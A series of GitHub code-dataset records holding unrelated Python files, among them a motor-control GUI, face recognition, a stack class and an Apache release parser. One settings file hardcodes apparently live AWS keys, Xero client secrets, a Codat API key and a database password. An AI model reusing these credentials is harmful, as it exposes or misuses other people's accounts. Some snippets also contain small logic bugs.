self.SP_M1 =821\n \n \n \n elif self.direction== 'DW':\n \n self.SP_M1 = self.SP_M1-1\n \n if self.SP_M2<=-821:\n self.SP_M1=-821\n \n elif self.direction== 'LF':\n self.SP_M2 = self.SP_M2 +1\n if self.SP_M2>=45 :\n self.SP_M2=45\n \n \n elif self.direction== 'RT':\n self.SP_M2 = self.SP_M2-1\n\n if self.SP_M2<=-45 :\n self.SP_M2=-45\n \n self.RMP_M1.setText(str(self.SP_M1))\n self.RMP_M2.setText(str(self.SP_M2))\n #texto1 = 'SP:' + str(self.SP_M1) + ';'+ str(self.SP_M2)\n #self.serial.write(texto1.encode())\n\n def stopCount(self):\n self.timer1.stop()\n self.Write_SetPoint()\n \n def Mup(self):\n self.direction = 'UP' #adelante\n self.timer1.start()\n\n def MDown(self):\n self.direction = 'DW' #retroceso\n self.timer1.start()\n\n def MLeft(self):\n self.direction = 'LF' #Giro a la izquierda\n self.timer1.start()\n \n def Mright(self):\n self.direction = 'RT' ##Giro a la derecha\n self.timer1.start()\n \n\n def Mensaje(self,checked):\n mensaje = QMessageBox(self)\n mensaje.setWindowTitle(\"Mensaje\")\n mensaje.setStyleSheet(\"background-color: rgb(38, 198, 218);color: balck\")\n font = QFont()\n font.setPointSize(10)\n mensaje.setFont(font)\n\n #baud_rate = 9600\n Port = self.list_Puertos.currentText()\n self.serial = QtSerialPort.QSerialPort(Port,baudRate=9600,readyRead=self.ReadValuesSensor)\n self.button.setText(\"Desconectar\" if checked else \"Conectar\")\n if checked:\n if not self.serial.isOpen():\n if not self.serial.open(QIODevice.ReadWrite):\n self.btn_Conectar.setChecked(False)\n #self.timer.start()\n \n\n \n else:\n self.serial.close()\n #self.timer.stop()\n self.contador()\n \n mensaje.setText(\"La conexion fue realizada con éxito \")\n mensaje.move(self.pos().x()+50, self.pos().y()+150)\n mensaje.exec()\n\n \n def Write_SetPoint(self):\n \n texto1 = 'SP:' + str(int(self.SP_M1*(255/821))) + ';'+ str(int((255/2)*(int(self.SP_M2)/60+1)))\n self.serial.write(texto1.encode())\n # print(texto)\n # SP:-NN;-MN\n # (255/2)(int(self.SP_M2)/60+1)\n print(texto1)\n\n def ReadValuesSensor(self):\n\n while self.serial.canReadLine():\n cad = self.serial.readLine().data().decode().strip()\n print(cad)\n if \":\" in cad:\n #print(cad)\n pos=cad.index(\":\")\n label=cad[:pos]\n value=cad[pos+1:]\n if label == 'velo1':\n self.velocidad_M1 = int(value)\n if label == 'velo2':\n self.velocidad_M2 = int(value)\n \n if label == 'corr1':\n self.corriente_M1 = int(value)\n if label == 'corr2':\n self.corriente_M2 = int(value)\n\n self.update_data()\n\n def update_data (self):\n self.sensor_M1.update_value(abs(int(self.velocidad_M1*(821/1023))))\n self.sensor_M2.update_value(int(int(self.velocidad_M2)*(120/1024)-60))\n #(255/2)(int(self.SP_M2)/60+1)\n self.mA_M1.setText(str(round(self.corriente_M1*(5000000/(1023*752)),2)))\n\n if (self.SP_M1<0):\n self.LedDirecion.setStyleSheet(\"background-color: red\")\n else:\n self.LedDirecion.setStyleSheet(\"background-color: green\")\n \n\n\ndef main():\n app = QApplication(sys.argv)\n ex = Main_App()\n ex.show()\n sys.exit(app.exec_())\n\n\nif __name__ == '__main__':\n main()\n\n\n#%%","repo_name":"dvsivle/proyecto-diseno-o-de-controlador-de-motores","sub_path":"DISEÑO DE CONTROLADOR DE MOTORES/MICROCONTROLADOR-INTERFACE_APP/APP_CONTROL_CARRITO/AppVelocityControl.py","file_name":"AppVelocityControl.py","file_ext":"py","file_size_in_byte":15504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"23925547989","text":"import os\n\ndef get_tail_byte(fname,last_bytes):\n\t# Open file with 'b' to specify binary mode\n\twith open(fname, 'rb') as file:\n\t\tfile.seek(last_bytes * -1, os.SEEK_END) # Note minus sign\n\t\tbyte_data = file.read()\n\t\treturn byte_data.decode('utf-8')\n\treturn \"\"\n\n\nif __name__ == \"__main__\":\n\tprint(get_tail_byte(\"11_tail.py\",100))\n","repo_name":"donarts/sourcecode","sub_path":"python/example/11_tail.py","file_name":"11_tail.py","file_ext":"py","file_size_in_byte":328,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"7152198298","text":"#!/usr/bin/env python\nimport unittest\nimport gevent\nimport requests\nfrom gevent import monkey\nmonkey.patch_socket()\n\n\nclass TestProxy(unittest.TestCase):\n def test_proxy(self):\n local_proxy = {\"http\": \"http://127.0.0.1:8399\"}\n\n def get():\n r = requests.get(\"http://www.baidu.com\", proxies=local_proxy)\n self.assertEqual(r.status_code, 200)\n\n gevent_list = []\n for i in xrange(5):\n gevent_list.append(gevent.spawn(get))\n gevent.joinall(gevent_list)\n","repo_name":"loadlj/rzproxy","sub_path":"tests/test_proxy.py","file_name":"test_proxy.py","file_ext":"py","file_size_in_byte":519,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"77"} +{"seq_id":"17649401385","text":"import base64\n\nDATABASE_NAME = 'ocean'\nDATABASE_USER = 'oceanuser'\nDATABASE_PASSWORD = 'ocean@123'\nDATABASE_HOST = '127.0.0.1'\nDATABASE_PORT = '5432'\nFRONTEND_URL = 'https://www.testoceanplatform.com/'\nBACKEND_URL = 'https://www.testoceanplatform.com/api/v1/ocean/admin'\n\n# # Xero keys and URL's\n# SIGNUP_SCOPE = 'offline_access+openid+profile+email+accounting.transactions+' \\\n# 'accounting.contacts+accounting.settings+' \\\n# 'accounting.attachments+accounting.reports.read'\n# REDIRECT_URI = 'https://b522-2409-4073-2e93-77db-147a-4fab-45a9-e65.ngrok.io'\n# # REDIRECT_URI='http://localhost:8001/account/token/'\n# CLIENT_ID = '0F28E5B43A7445BCA5DE7B8D2D64A965'\n# CLIENT_SECRET = 'iRxAhGllAUITY-ktKLAY5v37s2IT29NeaBvMo00RSpY8DjRh'\nSTATE = '123'\n#\n\n#\nAUTH_URL_GENERATOR = 'https://login.xero.com/identity/connect/authorize?response_type=code'\nTOKEN_URL = 'https://identity.xero.com/connect/token'\nCONNECTION_URL = 'https://api.xero.com/connections'\nBALANCE_SHEET_URL = 'https://api.xero.com/api.xro/2.0/Reports/BalanceSheet'\nPROFIT_LOSS_URL = 'https://api.xero.com/api.xro/2.0/Reports/ProfitAndLoss'\nBANK_SUMMARY_URL = 'https://api.xero.com/api.xro/2.0/Reports/BankSummary'\nREFRESHING_URL = 'https://identity.xero.com/connect/token'\nUSER_DETAILS = 'https://api.xero.com/api.xro/2.0/Users'\nCONTACT_DETAILS = 'https://api.xero.com/api.xro/2.0/Contacts'\n\n# CLIENT_ID = \"D9B541ECA6E34916AB838BF8E641F8F1\"\n# CLIENT_SECRET = \"phFzovy45PMf0zsEx_Tt7OxoT8Z77Bl45JJbzydz5cGtsn2_\"\n\n\nCLIENT_ID = \"12F7583836C942418227E7EAC79D11D6\"\nCLIENT_SECRET = \"l9llhAyLiv0gViFV4R1A-qMs9BD8ANXsYPbNRUmzASkWqtnO\"\n\nSIGNUP_SCOPE = \"offline_access+openid+profile+email\"\nSIGN_UP_REDIRECT_URI = \"http://localhost:8001/account/xero/callback/\"\n\ntoken_value = CLIENT_ID + ':' + CLIENT_SECRET\nBASIC_TOKEN = base64.urlsafe_b64encode(token_value.encode()).decode()\n\n# AWS SNS keys\n\n# AWS_ACCESS_KEY = \"AKIAVXLDNFMCUBMJOS24\"\n# AWS_SECRET_ACCESS_KEY = \"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\"\n# AWS_TOPIC_ARN = \"arn:aws:sns:ap-south-1:393734859525:OCEAN-TOPIC\"\nREGION_NAME = \"ap-south-1\"\n# AWS_TOPIC_ARN = \"arn:aws:sns:ap-south-1:393734859525:TEST\"\n# AWS_TOPIC_ARN = \"arn:aws:sns:ap-south-1:393734859525:TEST-OTP\"\n\nAWS_ACCESS_KEY = 'AKIAVXLDNFMCR4GVDT3E'\nAWS_SECRET_ACCESS_KEY = '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'\nAWS_TOPIC_ARN = 'arn:aws:sns:ap-south-1:393734859525:OTPCHECK'\n\n# Codat constants\nCODAT_API_KEY = 'NVfJAZiDLd6oZ65LOrKCxp459SBa1s1jb3azmkfd'\nCODAT_AUTHORIZATION_KEY = 'Basic TlZmSkFaaURMZDZvWjY1TE9yS0N4cDQ1OVNCYTFzMWpiM2F6bWtmZA=='\n\nAUTH_PROVIDERS = {\n \"email\": \"email\", \"xero\": \"xero\", \"google\": \"google\"\n}\n# Social Authentication Status\nINITIATED = \"INITIATED\"\nUPDATED_DETAILS = \"UPDATED_DETAILS\"\nCOMPLETED = \"COMPLETED\"\nCOMPLETE_PROFILE = \"COMPLETE_PROFILE\"","repo_name":"AKSHAY-KR99/ocean-imp","sub_path":"ocean_dev/ocean_dev/local.py","file_name":"local.py","file_ext":"py","file_size_in_byte":2763,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"40854360830","text":"# 摄像头实时人脸识别\n\n# Author: coneypo\n# Blog: http://www.cnblogs.com/AdaminXie\n# GitHub: https://github.com/coneypo/Dlib_face_recognition_from_camera\n\n# Created at 2018-05-11\n# Updated at 2018-10-29\n\nimport dlib # 人脸处理的库 Dlib\nimport numpy as np # 数据处理的库 numpy\nimport cv2 # 图像处理的库 OpenCv\nimport pandas as pd # 数据处理的库 Pandas\nimport time\nimport os\n\nimport redis\nimport pickle\n\nclass Redis:\n @staticmethod\n def connect():\n r = redis.StrictRedis(host='127.0.0.1', port=6379, db=0)\n return r\n\n #将内存数据二进制通过序列号转为文本流，再存入redis\n @staticmethod\n def set_data(r,key,data,ex=None):\n r.set(key,pickle.dumps(data),ex)\n\n # 将文本流从redis中读取并反序列化，返回返回\n @staticmethod\n def get_data(r,key):\n data = r.get(key)\n if data is None:\n return None\n\n return pickle.loads(data)\n\n\n# 人脸识别模型，提取 128D 的特征矢量\n# face recognition model, the object maps human faces into 128D vectors\nfacerec = dlib.face_recognition_model_v1(\"static/data_dlib/dlib_face_recognition_resnet_model_v1.dat\")\n\n\n# 计算两个向量间的欧式距离\ndef return_euclidean_distance(feature_1, feature_2):\n feature_1 = np.array(feature_1)\n feature_2 = np.array(feature_2)\n dist = np.sqrt(np.sum(np.square(feature_1 - feature_2)))\n print(\"e_distance: \", dist)\n\n if dist > 0.4:\n return \"diff\"\n else:\n return \"same\"\n\n\n# 处理存放所有人脸特征的 CSV\npath_features_known_csv = \"static/features_all.csv\"\ncsv_rd = pd.read_csv(path_features_known_csv, header=None)\n\n# 存储的特征人脸个数\n# print(csv_rd.shape[0])\n\n# 用来存放所有录入人脸特征的数组\nfeatures_known_arr = []\nfeatures_known_name = []\n\n# 读取已知人脸数据\n# known faces\nfor i in range(csv_rd.shape[0]):\n features_someone_arr = []\n for j in range(0, len(csv_rd.loc[i, :])):\n # for j in range(0, len(csv_rd.ix[i, :])):\n # print(csv_rd.loc[i, :][j])\n features_someone_arr.append(csv_rd.loc[i, :][j])\n # features_someone_arr.append(csv_rd.ix[i, :][j])\n # print(features_someone_arr)\n name = features_someone_arr.pop()\n features_known_name.append(name)\n features_known_arr.append(features_someone_arr)\nprint(\"Faces in Database：\", len(features_known_arr))\n\n# Dlib 检测器和预测器\ndetector = dlib.get_frontal_face_detector()\npredictor = dlib.shape_predictor('static/data_dlib/shape_predictor_68_face_landmarks.dat')\n\n# 创建 cv2 摄像头对象\ncap = cv2.VideoCapture(1)\n# cap.open(\"rtsp://admin:Aa123456@192.180.0.180/Streaming/Channels/103\")\n\n# cap.set(propId, value)\n# 设置视频参数，propId 设置的视频参数，value 设置的参数值\ncap.set(3, 100)\n\n# 返回一张图像多张人脸的 128D 特征\ndef get_128d_features(img_gray):\n faces = detector(img_gray, 1)\n if len(faces) != 0:\n face_des = []\n for i in range(len(faces)):\n shape = predictor(img_gray, faces[i])\n face_des.append(facerec.compute_face_descriptor(img_gray, shape))\n else:\n face_des = []\n return face_des\n\n\n# cap.isOpened() 返回 true/false 检查初始化是否成功\nwhile cap.isOpened():\n\n flag, img_rd = cap.read()\n kk = cv2.waitKey(1)\n\n # 取灰度\n img_gray = cv2.cvtColor(img_rd, cv2.COLOR_RGB2GRAY)\n # print(img_gray)\n # 人脸数 faces\n faces = detector(img_gray, 0)\n\n # 待会要写的字体\n font = cv2.FONT_HERSHEY_COMPLEX\n\n cv2.putText(img_rd, \"Press 'q': Quit\", (20, 450), font, 0.8, (84, 255, 159), 1, cv2.LINE_AA)\n\n # 存储人脸名字和位置的两个 list\n # list 1 (faces): store the name of faces Jack unknown unknown Mary\n # list 2 (pos_namelist): store the positions of faces 12,1 1,21 1,13 31,1\n\n # 存储所有人脸的名字\n pos_namelist = []\n name_namelist = []\n features_known_arr2 = []\n\n other = os.listdir('static/data_faces_from_camera/other')\n others=[]\n for i in range(len(other)):\n if(other[i] != '.DS_Store'):\n others.append(other[i])\n now = int(round(time.time(), 2) * 1000)\n if len(others)>0:\n last = max(others)[:-4]\n else:\n last = 0\n code = 800\n # print(last)\n\n # print(int(last)+code)\n # 按下 q 键退出\n if kk == ord('q'):\n break\n else:\n # 检测到人脸\n if len(faces) != 0:\n # 获取当前捕获到的图像的所有人脸的特征，存储到 features_cap_arr\n features_cap_arr = []\n for i in range(len(faces)):\n shape = predictor(img_rd, faces[i])\n features_cap_arr.append(facerec.compute_face_descriptor(img_rd, shape))\n\n # 遍历捕获到的图像中所有的人脸\n for k in range(len(faces)):\n # 让人名跟随在矩形框的下方\n # 确定人名的位置坐标\n # 先默认所有人不认识，是 unknown\n name_namelist.append(\"unknown\")\n\n # 每个捕获人脸的名字坐标\n pos_namelist.append(tuple([faces[k].left(), int(faces[k].bottom() + (faces[k].bottom() - faces[k].top()) / 4)]))\n print(features_known_arr)\n # 对于某张人脸，遍历所有存储的人脸特征\n for i in range(len(features_known_arr)):\n # features_known_arr2 = features_known_arr\n print(\"with person_\", str(i+1), \"the \", end='')\n # name = features_known_arr2[i].pop()\n\n # print(features_known_arr2[i])\n\n # 将某张人脸与存储的所有人脸数据进行比对\n compare = return_euclidean_distance(features_cap_arr[k], features_known_arr[i])\n\n if compare == \"same\": # 找到了相似脸\n name_namelist[k] = features_known_name[i]\n # name_namelist[k] = \"person_\" + str(i+1)\n #else 不相似的脸 截图保存 等待后续操作\n else:\n print(now)\n print(last)\n #\n if((now) > int(last)+code or (int(last) == 0)):\n # 将人脸计数器清零\n cnt_ss = 0\n path_make_dir = \"static/data_faces_from_camera/\"\n for kd, d in enumerate(faces):\n # 计算矩形框大小\n height = (d.bottom() - d.top())\n width = (d.right() - d.left())\n hh = int(height / 2)\n ww = int(width / 2)\n color_rectangle = (255, 255, 255)\n if (d.right() + ww) > 640 or (d.bottom() + hh > 480) or (d.left() - ww < 0) or (\n d.top() - hh < 0):\n cv2.putText(img_rd, \"OUT OF RANGE\", (20, 300), font, 0.8, (0, 0, 255), 1, cv2.LINE_AA)\n save_flag = 1\n color_rectangle = (0, 0, 255)\n else:\n save_flag = 1\n color_rectangle = (0, 255, 255)\n # 根据人脸大小生成空的图像\n im_blank = np.zeros((int(height * 2), width * 2, 3), np.uint8)\n if save_flag:\n cnt_ss += 1\n # print(cnt_ss)\n if(height * 2<720):\n for ii in range(height * 2):\n if(width * 2<720):\n for jj in range(width * 2):\n if(d.top() - hh + ii<720):\n im_blank[ii][jj] = img_rd[d.top() - hh + ii][d.left() - ww + jj]\n cv2.imwrite(path_make_dir + \"/other/\" + str(now) + \".jpg\", im_blank)\n print(\"写入本地：\", path_make_dir + \"/other/\" + str(now) + \".jpg\")\n\n # 矩形框\n for kk, d in enumerate(faces):\n # print(d.left(), d.top())\n # print(d.right(), d.bottom())\n # 绘制矩形框\n # if(name_namelist[kk]!='unknown'):\n # cv2.rectangle(img_rd, tuple([d.left(), d.top()]), tuple([d.right(), d.bottom()]), (0, 255, 255), 2)\n # else:\n cv2.rectangle(img_rd, tuple([d.left(), d.top()]), tuple([d.right(), d.bottom()]), (0, 0, 255),\n 2)\n # cv2.rectangle(img_rd,\n # tuple([d.left() - ww, d.top() - hh]),\n # tuple([d.right() + ww, d.bottom() + hh]),\n # color_rectangle, 2)\n\n # 在人脸框下面写人脸名字\n for i in range(len(faces)):\n cv2.putText(img_rd, name_namelist[i], pos_namelist[i], font, 0.8, (0, 255, 255), 1, cv2.LINE_AA)\n\n # 將識別出的人臉存入Redis\n # r = Redis.connect()\n # if(len(name_namelist)>0):\n # Redis.set_data(r, 'name', name_namelist)\n print(\"Name list now:\", name_namelist, \"\\n\")\n\n cv2.putText(img_rd, \"Face Recognition\", (20, 40), font, 1, (0, 0, 0), 1, cv2.LINE_AA)\n cv2.putText(img_rd, \"Faces: \" + str(len(faces)), (20, 100), font, 1, (0, 0, 255), 1, cv2.LINE_AA)\n cv2.imshow(\"camera\", img_rd)\n# 释放摄像头\ncap.release()\n\n# 删除建立的窗口\ncv2.destroyAllWindows()\n","repo_name":"liu279/face_recognize","sub_path":"face_reco_from_camera.py","file_name":"face_reco_from_camera.py","file_ext":"py","file_size_in_byte":10064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"18141561032","text":"\ndef sqrt(a, threshold = 0.00000001, maxIter = 50):\n\t'''Calculate the square root of 'a' using newtons method'''\n\tXi = 1.0 #a starting guess\n\tDelta = 1.0\n\tcnt = 1\n\twhile Delta > threshold and cnt <= maxIter:\n\t\tnewXi = (Xi + a / Xi) / 2\n\t\tDelta = abs(newXi - Xi)\n\t\tXi = newXi\n\t\tcnt += 1\n\treturn Xi\n\n","repo_name":"Gholtes/Algorithms","sub_path":"sqrt.py","file_name":"sqrt.py","file_ext":"py","file_size_in_byte":298,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"35520359899","text":"class Nstacks:\n\n def __init__(self,k,n):\n self.k=k # #of stacks\n self.n=n # size of all stacks\n\n self.arr=[0]*self.n #initialise and arr with k stacks\n\n self.top=[-1]*self.k # all k stacks are empty\n\n self.free=0 # top of free stack\\\n\n self.next= [i+1 for i in range(self.n)] # point to next ele\n self.next[self.n -1]=-1 # point till last ele\n \n def isEmpty(self,sn):\n return self.top[sn]==-1\n\n def isFull(self):\n return self.free ==-1\n\n def push(self,item,sn):\n if self.isFull():\n print(\"STACK OVERFLOWN\")\n return\n \n insert_at=self.free #insert at the first free pos\n\n self.free=self.next[self.free] # move free pos\n self.arr[insert_at]=item #insert the item in free pos\n self.next[insert_at]=self.top[sn] # move top pos\n self.top[sn]=insert_at #new top\n\n def pop(self,sn):\n if self.isEmpty(sn):\n print(\"STACK UNDERFLOWN\")\n return None\n \n topOfStack=self.top[sn] # item at top of stack\n self.top[sn]=self.next[self.top[sn]] # new top\n self.next[topOfStack] #old top is moved to free pos\n self.free=topOfStack\n\n return self.arr[topOfStack]\n\n def printStack(self,sn):\n topIndex=self.top[sn]\n while topIndex!=-1:\n print(self.arr[topIndex])\n topIndex=self.next[topIndex]\n\n def printAll(self):\n \n for i in range(self.n):\n print(self.arr[i])\n\n\nif __name__=='__main__':\n\n NS=Nstacks(4,16)\n\n NS.push(1000,0)\n NS.push(800,0)\n NS.push(900,0)\n NS.push(700,0)\n\n NS.push(121,1)\n NS.push(189,1)\n NS.push(165,1)\n NS.push(132,1)\n\n NS.push(265,2)\n NS.push(244,2)\n NS.push(211,2)\n NS.push(278,2)\n\n NS.push(369,3)\n NS.push(344,3)\n NS.push(311,3)\n NS.push(355,3)\n\n\n print(\"*\"*10) \n print(\"*\"*10)\n NS.printAll()\n print(\"*\"*10)\n print(\"*\"*10)\n\n print(\"\")\n print(\"\")\n\n print(\"*\"*10)\n NS.printStack(0)\n print(\"*\"*10)\n NS.printStack(1)\n print(\"*\"*10)\n NS.printStack(2)\n print(\"*\"*10)\n NS.printStack(3)\n print(\"*\"*10)\n\n\n print(\"popped from 0 \",NS.pop(0))\n print(\"popped from 1 \",NS.pop(1))\n print(\"popped from 2 \",NS.pop(2))\n print(\"popped from 3 \",NS.pop(3))\n\n\n print(\"*\"*10)\n NS.printAll()\n","repo_name":"Abrar-04/DSA-Practice","sub_path":"06.Stacks/450.Stacks/Nstacks.py","file_name":"Nstacks.py","file_ext":"py","file_size_in_byte":2377,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"32584052738","text":"import logging\nimport ckan.lib.helpers as h\nimport ckan.plugins as p\nfrom ckan.plugins import implements, toolkit\nfrom ckanext.linkfinder.model import make_uuid\nfrom ckan.logic import get_action\n\nlog = logging.getLogger('ckanext.linkfinder')\n\nclass LinkFinderPlugin(p.SingletonPlugin):\n implements(p.IConfigurer, inherit=True)\n implements(p.ITemplateHelpers, inherit=True)\n implements(p.IDomainObjectModification, inherit=True)\n\n def update_config(self, config):\n toolkit.add_template_directory(config, 'templates')\n toolkit.add_public_directory(config, 'public')\n\n def get_helpers(self):\n \"\"\"\n A dictionary of extra helpers that will be available to provide\n ga report info to templates.\n \"\"\"\n return {\n 'linkfinder_installed': lambda: True,\n }\n\n def notify(self, entity, operation=None):\n \"\"\"\n if not isinstance(entity, model.Resource):\n return\n\n if operation:\n if operation == model.DomainObjectOperation.new:\n self._create_task(entity)\n else:\n # if operation is None, resource URL has been changed, as the\n # notify function in IResourceUrlChange only takes 1 parameter\n self._create_task(entity)\n \"\"\"\n\n def _create_task(self, resource):\n user = get_action('get_site_user')({'model': model,\n 'ignore_auth': True,\n 'defer_commit': True}, {})\n context = json.dumps({\n 'site_url': self.site_url,\n 'apikey': user.get('apikey')\n })\n data = json.dumps(resource_dictize(resource, {'model': model}))\n\n task_id = make_uuid()\n task_status = {\n 'entity_id': resource.id,\n 'entity_type': u'resource',\n 'task_type': u'qa',\n 'key': u'celery_task_id',\n 'value': task_id,\n 'error': u'',\n 'last_updated': datetime.now().isoformat()\n }\n task_context = {\n 'model': model,\n 'user': user.get('name'),\n }\n\n get_action('task_status_update')(task_context, task_status)\n celery.send_task(\"qa.update\", args=[context, data], task_id=task_id)\n","repo_name":"datagovuk/ckanext-linkfinder","sub_path":"ckanext/linkfinder/plugin.py","file_name":"plugin.py","file_ext":"py","file_size_in_byte":2296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"71874049529","text":"import errtee\nimport re, urllib.request\nimport json\nimport os\n\n\"\"\"\nReads the list of files in http://www.apache.org/dist/\n\nCreates:\n../../site/json/foundation/releases.json\nFormat:\n{ top-level dir: { release-id: date}, ... }\n\nThe release id is derived from the filename by removing common suffixes etc, see cleanFilename()\nThe date comes from the first entry\n\n../../site/json/foundation/releases-files.json\nFormat:\n{ top-level dir: { release-id: [list of files for that release-id]}, ... }\n\nTODO: it would probably be more efficient to parse the output of\nsvn ls -R https://dist.apache.org/repos/dist/release/\nCould cache the output based on the last changed date\n\nOr use an rsync listing:\nrsync --list-only -r rsync.apache.org::apache-dist\nNote that rsync excludes hashes, sigs and KEYS files; however they are not needed here.\n\"\"\"\n\nreleases = {}\nfiles = {}\nmainurl = \"http://www.apache.org/dist/\"\n\nx = 0\n\n# don't try to maintain history for the moment...\n#try:\n# with open(\"../../site/json/foundation/releases.json\") as f:\n# releases = json.loads(f.read())\n# f.close()\n#except Exception as err:\n# print(\"Could not read releases.json, assuming blank slate\")\n\ndef getDirList(url):\n try:\n data = urllib.request.urlopen(url).read().decode('utf-8')\n for entry, xd, xdate in re.findall(r\".+\\s+(\\d\\d\\d\\d-\\d\\d-\\d\\d)\", data, re.MULTILINE | re.UNICODE):\n yield(entry, xdate, xd)\n except:\n pass\n\ndef cleanFilename(filename):\n \"\"\"\n Attempts to determine the release id to which a file belongs\n Strips extensions such as .tgz etc, then suffixes such as -sources\n Replaces qualifiers such as -assembly-, -parent- by '-'\n Returns the simplified filename .\n \"\"\"\n for suffix in ['.tgz', '.gz', '.bz2', '.xz', '.zip', '.rar', '.tar', 'tar', '.deb', '.rpm', '.dmg', '.egg', '.gem', '.pom', '.war', '.exe',\n '-scala2.11', '-cdh4', '-hadoop1', '-hadoop2', '-hadoop2.3', '-hadoop2.4', '-all',\n '-src', '_src', '.src', '-sources', '_sources', '-source', '-bin', '-dist',\n '-source-release', '-source-relase', '-apidocs', '-javadocs', '-javadoc', '_javadoc', '-tests', '-test', '-debug', '-uber',\n '-macosx', '-distribution', '-example', '-manual', '-native', '-win', '-win32', '-linux', '-pack', '-packaged', '-lib', '-current', '-embedded',\n '-py', '-py2', '-py2.6', '-py2.7', '-no', 'unix-distro', 'windows-distro', 'with', '-dep', '-standalone', '-war', '-webapp', '-dom', '-om', '-manual', '-site',\n '-32bit', '-64bit', '-amd64', '-i386', '_i386', '.i386', '-x86_64', '-minimal', '-jettyconfig', '-py2.py3-none-any', 'newkey', 'oldkey', 'jars', '-jre13', '-hadoop1', '-hadoop2', '-project',\n '-with-dependencies', '-client', '-server', '-doc', '-docs', 'server-webapps', '-full', '-all', '-standard', '-for-javaee', '-for-tomcat',\n 'hadoop1-scala2', '-deployer', '-fulldocs', '-windows-i64', '-windows-x64', '-embed', '-apps', '-app', '-ref', '-installer', '-bundle', '-java']:\n if filename[len(filename)-len(suffix):] == suffix:\n filename = filename[0:len(filename)-len(suffix)]\n for repl in ['-assembly-', '-minimal-', '-doc-', '-src-', '-webapp-', '-standalone-', '-parent-', '-project-', '-win32-']:\n filename = filename.replace(repl, '-')\n return filename\n\ndef cleanReleases(committeeId):\n if len(releases[committeeId]) == 0:\n del releases[committeeId]\n del files[committeeId]\n\ndef parseDir(committeeId, path):\n print(\" %s...\" % path)\n if len(path) > 100:\n print(\"WARN too long path: recursion?\")\n return\n for f, d, xd in getDirList(\"%s/%s\" % (mainurl, path)):\n if xd:\n if (\"/%s\" % f) not in path and f.lower() not in ['binaries', 'repos', 'updatesite', 'current', 'stable', 'stable1', 'stable2', 'binary', 'notes', 'doc', 'eclipse', 'patches', 'docs', 'changes', 'features', 'tmp', 'cpp', 'php', 'ruby', 'py', 'py3', 'issuesfixed', 'images', 'styles', 'wikipages']:\n parseDir(committeeId, \"%s/%s\" % (path, f))\n # Note: this eliminates binary archives; not sure whether that is intentional or not.\n elif not re.search(r\"(MD5SUM|SHA1SUM|\\.md5|\\.mds|\\.sh1|\\.sh2|\\.sha|\\.asc|\\.sig|\\.bin|\\.pom|\\.jar|\\.whl|\\.pdf|\\.xml|\\.xsd|\\.html|\\.txt|\\.cfg|\\.ish|\\.pl|RELEASE.NOTES|LICENSE|KEYS|CHANGELOG|NOTICE|MANIFEST|Changes|readme|x86|amd64|-manual\\.|-docs\\.|-docs-|-doc-|Announcement|current|-deps|-dependencies|binary|-bin-|-bin\\.|-javadoc-|-distro|rat_report)\", f, flags=re.IGNORECASE):\n filename = cleanFilename(f)\n if len(filename) > 1:\n if filename not in releases[committeeId]:\n releases[committeeId][filename] = d\n files[committeeId][filename] = []\n print(\" - %s\\t\\t\\t%s\" % (filename, f))\n files[committeeId][filename].append(\"%s/%s\" % (path, f))\n\n\nfor committeeId, d, xdir in getDirList(mainurl):\n if committeeId != 'incubator':\n if committeeId not in ['xml', 'zzz', 'maven-repository']:\n print(\"Parsing /dist/%s content:\" % committeeId)\n releases[committeeId] = releases[committeeId] if committeeId in releases else {}\n files[committeeId] = {}\n parseDir(committeeId, committeeId)\n cleanReleases(committeeId)\n else:\n for podling, d, xd in getDirList(\"%s/incubator/\" % mainurl):\n print(\"Parsing /dist/incubator-%s content:\" % podling)\n committeeId = \"incubator-%s\" % podling\n releases[committeeId] = releases[committeeId] if committeeId in releases else {}\n files[committeeId] = {}\n parseDir(committeeId, \"incubator/%s\" % podling)\n cleanReleases(committeeId)\n\nprint(\"Writing releases.json\")\nwith open(\"../../site/json/foundation/releases.json\", \"w\") as f:\n json.dump(releases, f, sort_keys=True, indent=0)\n f.close()\nwith open(\"../../site/json/foundation/releases-files.json\", \"w\") as f:\n json.dump(files, f, sort_keys=True, indent=0)\n f.close()\n\nprint(\"All done!\")","repo_name":"ep-infosec/33_apache_comdev-projects","sub_path":"scripts/cronjobs/parsereleases.py","file_name":"parsereleases.py","file_ext":"py","file_size_in_byte":6227,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"27238118836","text":"import itertools\nimport operator\nimport random\nimport numpy as np\nimport pickle\nimport os\n\nfrom sklearn.metrics import accuracy_score\nfrom deap import gp\nfrom deap import base\nfrom deap import creator\n\ndef get_args():\n str = \"\\n************************************************************\\n\"\n str += \"* Welcome to Copy Task champion arena *\\n\"\n str += \"* Please provide the following arguments comma delimited *\\n\"\n str += \"* Type of test to run options are (required): *\\n\"\n str += \"* - std -> to run the standard champion *\\n\"\n str += \"* - mul -> to run the multiplication champion *\\n\"\n str += \"* - mod -> to run the modified champion *\\n\"\n str += \"* - log -> to run the logical champion *\\n\"\n str += \"* Depth of sequence i.e. number of 1/-1's (required): *\\n\"\n str += \"* - options are: 4, 5, 6, 15, 21 *\\n\"\n str += \"* Range of noise to use (required): *\\n\"\n str += \"* - options are: 0, 0.5, 0.25, 0.125 *\\n\"\n str += \"* Which champion to load (optional): *\\n\"\n str += \"* - example 'champion_1' .... 'champion_50' *\\n\"\n str += \"* Number of tests to run (optional): *\\n\"\n str += \"* - integer represents the number of tests *\\n\"\n str += \"* Length of Noise in sequence (optional): *\\n\"\n str += \"* - integer represents the length of noise *\\n\"\n str += \"************************************************************\\n\"\n print(str)\n \n options = (\"std\", \"mul\",\"mod\",\"log\")\n while True:\n try:\n input_args = input(\"Choose your champion:\\n\").strip().lower().split(\",\")\n\n if len(input_args) < 2:\n raise ValueError\n\n if len(input_args)>0 and input_args[0].strip() not in options:\n 